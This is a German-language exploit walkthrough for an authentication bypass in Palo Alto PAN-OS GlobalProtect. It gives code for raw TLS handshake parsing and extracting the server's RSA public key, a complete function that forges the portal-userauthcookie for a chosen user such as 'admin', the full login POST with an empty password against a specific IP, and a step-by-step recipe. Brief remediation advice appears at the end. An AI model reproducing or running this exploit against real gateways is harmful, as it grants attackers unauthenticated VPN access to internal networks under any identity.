Palo Alto Networks PAN-OS enthält eine Authentifizierungsumgehung, die durch Schwachstellen im GlobalProtect-Portal und -Gateway verursacht wird und Angreifern ermöglicht, unbefugte VPN-Verbindungen herzustellen. Der Exploit erfordert Netzwerkzugriff auf das Portal oder Gateway.
Dieser Exploit ermöglicht unauthentifizierten VPN-Zugriff auf ein Palo Alto GlobalProtect Gateway/Portal, indem ein Authentifizierungs-Cookie allein unter Verwendung des öffentlich verfügbaren TLS-Zertifikats des Servers gefälscht wird.
GlobalProtect verwendet ein Pre-Authentifizierungs-Cookie (portal-userauthcookie), damit Clients sich authentifizieren können. Hier liegt der fatale Fehler:
Normaler Ablauf:
1. Client authentifiziert sich (Benutzername + Passwort)
2. Server generiert ein Cookie → verschlüsselt es mit dem RSA-ÖFFENTLICHEN Schlüssel des Servers
3. Client speichert das verschlüsselte Cookie
4. Bei erneuter Verbindung sendet der Client das Cookie → Server entschlüsselt mit PRIVATEM Schlüssel → vertraut ihm
Der Fehler:
Der Server prüft NUR, ob das Cookie erfolgreich mit seinem privaten Schlüssel entschlüsselt werden kann.
Er überprüft NICHT, WER es verschlüsselt hat oder ob der Klartextinhalt legitim ist.
Da der RSA-öffentliche Schlüssel im TLS-Zertifikat des Servers eingebettet ist (öffentlich zugänglich für jeden, der eine Verbindung herstellt), kann jeder Angreifer:
Dies ist ein Lehrbuchfehler der Authentifizierung – die Verwendung von Verschlüsselung, wo eine digitale Signatur oder HMAC nötig gewesen wäre.
flowchart TD
A["Schritt 1: Raw TCP Connect"] --> B["Schritt 2: Maßgeschneidertes TLS ClientHello senden"]
B --> C["Schritt 3: ServerHello parsen → DER-Zertifikate extrahieren"]
C --> D["Schritt 4: ASN.1 durchlaufen, um RSA-öffentlichen Schlüssel zu extrahieren"]
D --> E["Schritt 5: PKCS#1 v1.5 verschlüsseltes Cookie fälschen"]
E --> F["Schritt 6: POST an /ssl-vpn/login.esp"]
F --> G{"Server entschlüsselt Cookie"}
G -->|"Gültiger Klartext"| H[" Auth Bypass — VPN-Zugriff gewährt"]
G -->|"Ungültig"| I[" Abgelehnt"]Warum raw? Wir benötigen das Serverzertifikat im DER-Format (rohes Binärformat). Das
ssl-Modul von Python führt den vollständigen TLS-Handshake intern durch und gibt die rohen Zertifikatsbytes nicht auf die gleiche Weise preis. Indem wir eine rohe TCP-Verbindung herstellen und ein handgefertigtes ClientHello senden, können wir die Antwort des Servers auf Bitebene abfangen.
Ein TLS-Datensatz sieht so aus:
┌──────────────────────────────────────────────────┐
│ TLS Record Header (5 Bytes) │
│ ┌──────┬──────────┬────────────┐ │
│ │ Type │ Version │ Länge │ │
│ │ 0x16 │ 0x03 01 │ 2 Bytes │ │
│ │(Hshk)│(TLS 1.0) │ │ │
│ └──────┴──────────┴────────────┘ │
│ │
│ Handshake-Nachricht │
│ ┌──────┬────────────┬─────────────────────────┐ │
│ │ Type │ Länge │ Body │ │
│ │ 0x01 │ 3 Bytes │ (ClientHello) │ │
│ │(CHlo)│ │ │ │
│ └──────┴────────────┴─────────────────────────┘ │
└──────────────────────────────────────────────────┘
Der ClientHello-Body enthält:
| Feld | Wert | Zweck |
|---|---|---|
| Version | 0x03 0x03 (TLS 1.2) | Server mitteilen, dass wir TLS 1.2 sprechen |
| Random | 4-Byte-Zeitstempel + 28 zufällige Bytes | Nonce für den Handshake |
| Session ID | 0x00 (leer) | Keine Sitzungswiederaufnahme |
| Cipher Suites | 9 Suiten inklusive TLS_RSA_WITH_AES_128_CBC_SHA | Schlüssel: Wir nehmen nur RSA-Cipher auf, um den Server zu zwingen, sein RSA-Zertifikat zu verwenden |
| Compression | 0x00 (keine) | Erforderlich |
Enthaltene Erweiterungen:
| Erweiterung | ID | Zweck |
|---|---|---|
| SNI (Server Name Indication) | 0x0000 | Dem Server mitteilen, mit welchem Hostnamen wir verbinden |
| Signature Algorithms | 0x000D | Unsere unterstützten Signaturalgorithmen bekannt geben |
| Supported Groups | 0x000A | Unterstützte EC-Kurven (P-256, P-384, P-521) |
| EC Point Formats | 0x000B | Unkomprimierte EC-Punkte |
[!HINWEIS] Die Cipher-Suiten enthalten absichtlich RSA-Schlüsselaustausch-Cipher (
0x002F=TLS_RSA_WITH_AES_128_CBC_SHA). Dies drängt den Server, mit seinem RSA-Zertifikat statt einem ECDSA-Zertifikat zu antworten – was entscheidend ist, da der Exploit nur mit RSA funktioniert.
Nach dem Senden des ClientHello sendet der Server mehrere TLS-Datensätze zurück:
Server-Antwort:
┌─────────────────┐
│ ServerHello │ (Handshake-Typ 2)
├─────────────────┤
│ Certificate │ (Handshake-Typ 11) ← DAS WOLLEN WIR
├─────────────────┤
│ ServerKeyExchange│ (Handshake-Typ 12, optional)
├─────────────────┤
│ ServerHelloDone │ (Handshake-Typ 14) ← STOPP-SIGNAL
└─────────────────┘
Phase 1 — TLS-Datensatz-Header entfernen:
Jeder TLS-Datensatz hat einen 5-Byte-Header: [type(1)] [version(2)] [length(2)]. Der Code durchsucht alle Datensätze und verkettert für alle mit type == 22 (Handshake) ihre Nutzdaten:
while i + 5 <= len(data):
t = data[i] # content type
rl = (data[i + 3] << 8) | data[i + 4] # record length
if t == 22: # Handshake
hs.extend(data[i + 5: i + 5 + rl]) # Nutzdaten holen
i += 5 + rl # nächster Datensatz
Phase 2 — Die Certificate-Nachricht (Typ 11) finden:
Innerhalb des Handshake-Streams hat jede Nachricht einen 4-Byte-Header: [type(1)] [length(3)]. Wir suchen nach type == 11:
while j + 4 <= len(hs):
ht = hs[j] # handshake type
hl = (hs[j+1] << 16) | (hs[j+2] << 8) | hs[j+3] # 3-Byte-Länge
if ht == 11: # Certificate!
# Zertifikatsliste innen parsen
Phase 3 — Einzelne DER-Zertifikate extrahieren:
Die Certificate-Nachricht enthält eine Liste von Zertifikaten, jedes mit einem 3-Byte-Längen-Präfix:
Certificate Message Body:
┌───────────────────────────────────┐
│ Gesamt-Zertifikatslänge (3 Bytes) │
├───────────────────────────────────┤
│ Zert 1 Länge (3 Bytes) │
│ Zert 1 DER-Daten (variabel) │
├───────────────────────────────────┤
│ Zert 2 Länge (3 Bytes) │
│ Zert 2 DER-Daten (variabel) │
├───────────────────────────────────┤
│ ... │
└───────────────────────────────────┘
In unserem Testlauf haben wir 3 Zertifikate erhalten (Blattzertifikat, Zwischen-CA, Root-CA).
Diese Funktion sucht nach ServerHelloDone (Handshake-Typ 14), was uns sagt, dass der Server fertig gesendet hat und wir mit dem Lesen aufhören können.
X.509-Zertifikate sind in DER (Distinguished Encoding Rules) codiert, einem binären Format basierend auf ASN.1 (Abstract Syntax Notation One).
Jedes Element in DER ist:
┌─────┬────────┬───────────────────┐
│ Tag │ Länge │ Wert (Payload) │
│ 1B │ 1-5B │ variabel │
└─────┴────────┴───────────────────┘
Längencodierung:
0x80: Länge ist direkt dieses Byte (Kurzform)0x80: untere 7 Bits = Anzahl der folgenden Bytes, die die Länge codieren (Langform)# Beispiel: Längenbyte = 0x82 → 2 weitere Bytes folgen
# Nächste 2 Bytes: 0x06 0x4F → Länge = 0x064F = 1615 Bytes
def rd_tl(d, p):
tag = d[p]; p += 1
length = d[p]; p += 1
if length & 0x80: # Langform?
nb = length & 0x7F # wie viele Bytes folgen
length = 0
for _ in range(nb):
length = (length << 8) | d[p]
p += 1
return {"tag": tag, "len": length, "pos": p} # pos = Start des Werts
Certificate ::= SEQUENCE { ← tag 0x30
tbsCertificate SEQUENCE { ← tag 0x30
version [0] EXPLICIT ← tag 0xA0 (optional)
serialNumber INTEGER ← tag 0x02
signature SEQUENCE (AlgorithmID) ← tag 0x30
issuer SEQUENCE ← tag 0x30
validity SEQUENCE ← tag 0x30
subject SEQUENCE ← tag 0x30
subjectPublicKeyInfo SEQUENCE { ← tag 0x30 ★ WIR WOLLEN DAS ★
algorithm SEQUENCE { ← tag 0x30
algorithm OID ← tag 0x06
parameters (optional)
}
subjectPublicKey BIT STRING { ← tag 0x03
RSAPublicKey SEQUENCE { ← tag 0x30
modulus INTEGER ← tag 0x02 ★ n ★
exponent INTEGER ← tag 0x02 ★ e ★
}
}
}
...
}
...
}
Die Funktion durchläuft den DER-Baum, indem sie Tag+Länge liest und Felder überspringt, die wir nicht benötigen:
# Äußere SEQUENCE (Certificate) betreten
r = rd_tl(der, 0) # → SEQUENCE
# tbsCertificate SEQUENCE betreten
r = rd_tl(der, p) # → SEQUENCE
# Optionalen Version-Tag prüfen
r = rd_tl(der, p)
if r["tag"] == 0xA0: # version-Feld vorhanden → überspringen
p = r["pos"] + r["len"]
r = rd_tl(der, p)
# Überspringen: serial → sigAlg → issuer → validity → subject
# (jeweils TLV lesen und darüber springen)
# JETZT sind wir bei subjectPublicKeyInfo
# AlgorithmIdentifier lesen → prüfen, ob OID = RSA
oid = der[r["pos"]: r["pos"] + r["len"]]
rsa_oid = [0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01]
# ↑ Dies ist 1.2.840.113549.1.1.1 = rsaEncryption
if oid != rsa_oid:
return None # Nicht RSA (wahrscheinlich ECDSA)
# BIT STRING lesen → 1 Byte überspringen (Indikator für ungenutzte Bits)
# Innere SEQUENCE lesen → modulus (n) und exponent (e) extrahieren
Wichtiges Detail – führendes Null-Byte im Modulus:
if der[ms] == 0 and ml > 1:
ms += 1 # führende 0x00 entfernen
ml -= 1
DER codiert Ganzzahlen als signed. Wenn das höchste Bit des Modulus 1 ist, wird ein 0x00-Byte vorangestellt, um es positiv zu halten. Wir entfernen es, da wir den rohen unsigned-Wert benötigen.
Für unser Ziel: modulus = 2048 Bits (256 Bytes), exponent = 65537 (0x10001)
Dies ist das Herzstück des Exploits.
Das Klartext-Cookie-Format ist:
admin;;Windows;;1748928001;0.0.0.0
│ │ │ │
│ │ │ └── Client-IP
│ │ └── Unix-Zeitstempel
│ └── OS-Kennung
└── Benutzername (wir wählen "admin")
Vor der RSA-Verschlüsselung muss der Klartext auf die Schlüsselgröße aufgefüllt werden (256 Bytes für 2048-Bit-RSA):
┌──────┬──────┬──────────────────────────┬──────┬─────────────────────┐
│ 0x00 │ 0x02 │ Zufällige Nonzero-Padding│ 0x00 │ Klartext-Nachricht │
│ │ │ (≥ 8 Bytes) │ │ │
└──────┴──────┴──────────────────────────┴──────┴─────────────────────┘
1B 1B padLen Bytes 1B Nachrichtenbytes
Gesamt = 256 Bytes (= Schlüsselgröße)
def forge(n, e, kl, username):
ts = str(int(time.time()))
pt = str2b(username + ";;Windows;;" + ts + ";0.0.0.0")
pad_len = kl - len(pt) - 3 # 3 = 0x00 + 0x02 + 0x00 Trennzeichen
if pad_len < 8: # PKCS#1 benötigt ≥ 8 Padding-Bytes
return ""
em = bytearray([0x00, 0x02]) # Typ-2-Padding-Header
for _ in range(pad_len):
em.append(random.randint(1, 255)) # zufällige Nonzero-Bytes!
em.append(0x00) # Trennzeichen
cat(em, pt) # Klartext anhängen
# RSA-Verschlüsselung: ciphertext = em^e mod n
return b64_encode(bi2bytes(modpow(bytes2bi(em), e, n), kl))
Die RSA-Mathematik:
ciphertext = plaintext^e mod n
Wobei:
plaintext = die aufgefüllte Nachricht als große Ganzzahl (256 Bytes → ~2048 Bits)
e = 65537 (öffentlicher Exponent)
n = der 2048-Bit-Modulus aus dem Zertifikat
[!WICHTIG] Dies funktioniert, weil die RSA-Verschlüsselung den öffentlichen Schlüssel (n, e) verwendet, den jeder aus dem TLS-Zertifikat erhalten kann. Der Server wird ihn mit seinem privaten Schlüssel (n, d) entschlüsseln und den Klartext zurückerhalten –
admin;;Windows;;timestamp;0.0.0.0.Der Server vertraut diesem Klartext dann blind – er überprüft nie, ob das Cookie legitim von ihm selbst ausgestellt wurde.
Das gefälschte Cookie wird als standardmäßiger HTTPS-POST an den GlobalProtect-Login-Endpunkt gesendet:
POST /ssl-vpn/login.esp HTTP/1.1
Host: 1.255.199.2
Content-Type: application/x-www-form-urlencoded
User-Agent: GlobalProtect/6.0.0
Content-Length: ...
Connection: close
prot=https
&server=1.255.199.2
&user=admin
&passwd= ← leer! kein Passwort nötig
&context=gateway ← oder "portal"
&clientos=Windows
&clientgpversion=6.0.0
&portal-userauthcookie=<BASE64_GEFÄLSCHTES_COOKIE>
&portal-prelogonuserauthcookie=
[!HINWEIS] Das
passwd-Feld ist leer. Der Server prüft das Passwort überhaupt nicht – er verlässt sich vollständig auf dasportal-userauthcookiefür die Authentifizierung.
Der Exploit testet zwei Endpunkte:
context=gateway): Direkter VPN-Tunnelzugriffcontext=portal): Portal-Konfigurationszugriffdef is_gateway_success(resp, user):
# Auf HTTP 200 prüfen
# Auf <status>Success</status> im XML-Body prüfen
# ODER <argument>-Tag, das den Benutzernamen enthält
sequenceDiagram
participant A as Angreifer
participant GP als GlobalProtect Server
A->>GP: TCP Connect (Port 443)
A->>GP: Raw TLS ClientHello (handgefertigt)
GP->>A: ServerHello + Certificate (enthält RSA-öffentlichen Schlüssel)
GP->>A: ServerHelloDone
Note over A: Extrahiert RSA-öffentlichen Schlüssel (n, e) aus Zertifikat
Note over A: Fälscht Cookie: RSA_encrypt("admin;;Windows;;ts;0.0.0.0", pubkey)
A->>GP: POST /ssl-vpn/login.esp (über TLS)
Note over GP: Empfängt portal-userauthcookie
Note over GP: Entschlüsselt mit RSA-privatem Schlüssel
Note over GP: Erhält "admin;;Windows;;ts;0.0.0.0"
Note over GP: ⚠️ Vertraut ihm blind – keine Signaturprüfung!
GP->>A: HTTP 200 OK + <status>Success</status>
Note over A: 🎉 Vollständiger VPN-Zugriff als "admin"| Aspekt | Auswirkung |
|---|---|
| Keine Anmeldeinformationen nötig | Der öffentliche Schlüssel ist buchstäblich öffentlich – jeder, der sich verbindet, erhält ihn |
| Kein Brute-Force | Einzelne Anfrage pro Versuch, gelingt immer auf verwundbaren Servern |
| Vor der Authentifizierung | Ausnutzbar vor jedem Login – keine bestehende Sitzung nötig |
| Benutzerimitation | Angreifer wählt einen beliebigen Benutzernamen (admin, CEO, etc.) |
| Vollständiger VPN-Zugriff | Sobald authentifiziert, ist der Angreifer im internen Netzwerk |
| Keine Protokollierung von Passwortfehlern | Da die Authentifizierung über das Cookie erfolgt, werden keine Fehlalarme bei Passwortfehlern ausgelöst |
Das grundlegende Problem ist die Verwendung von Verschlüsselung zur Authentifizierung. Die korrekten Ansätze:
Digitale Signaturen: Der Server sollte das Cookie mit seinem privaten Schlüssel signieren, nicht ein verschlüsseltes entschlüsseln. Dann die Signatur bei erneuter Authentifizierung überprüfen.
HMAC: Verwenden Sie einen serverseitigen geheimen Schlüssel, um die Cookie-Nutzdaten zu HMACen. Nur der Server kennt das Geheimnis, sodass Cookies nicht gefälscht werden können.
Token Binding: Binden Sie das Cookie an die ursprüngliche Authentifizierungssitzung, damit es nicht aus einem anderen Kontext wiederverwendet werden kann.
Kaputt: cookie = RSA_encrypt(userdata, public_key) ← jeder kann das tun!
Behoben: cookie = HMAC(server_secret, userdata) ← nur der Server kann das tun
1. TCP-Verbindung zum Ziel:443 herstellen
2. Handgefertigtes ClientHello senden (rohe Bytes über TCP, NICHT TLS)
3. ServerHello + Certificate + ServerHelloDone empfangen
4. TLS-Datensätze parsen → Handshake-Nachrichten extrahieren
5. Certificate-Nachricht (Typ 11) finden → DER-codierte Zertifikate extrahieren
6. ASN.1/DER-Struktur des Blattzertifikats durchlaufen:
SEQUENCE → SEQUENCE → [version] → serial → sigAlg → issuer → validity → subject
→ subjectPublicKeyInfo → algorithmIdentifier (prüfen OID = RSA)
→ BIT STRING → SEQUENCE → modulus (n) + exponent (e)
7. Klartext erstellen: "admin;;Windows;;1748928001;0.0.0.0"
8. PKCS#1 v1.5 auffüllen: 0x00 0x02 [random≥8] 0x00 [Klartext]
9. RSA-Verschlüsselung: ciphertext = aufgefüllt^e mod n
10. Base64-codieren → URL-codieren
11. POST an /ssl-vpn/login.esp mit gefälschtem Cookie (über ordnungsgemäßes TLS)
12. Server entschlüsselt → vertraut blind → gewährt VPN-Zugriff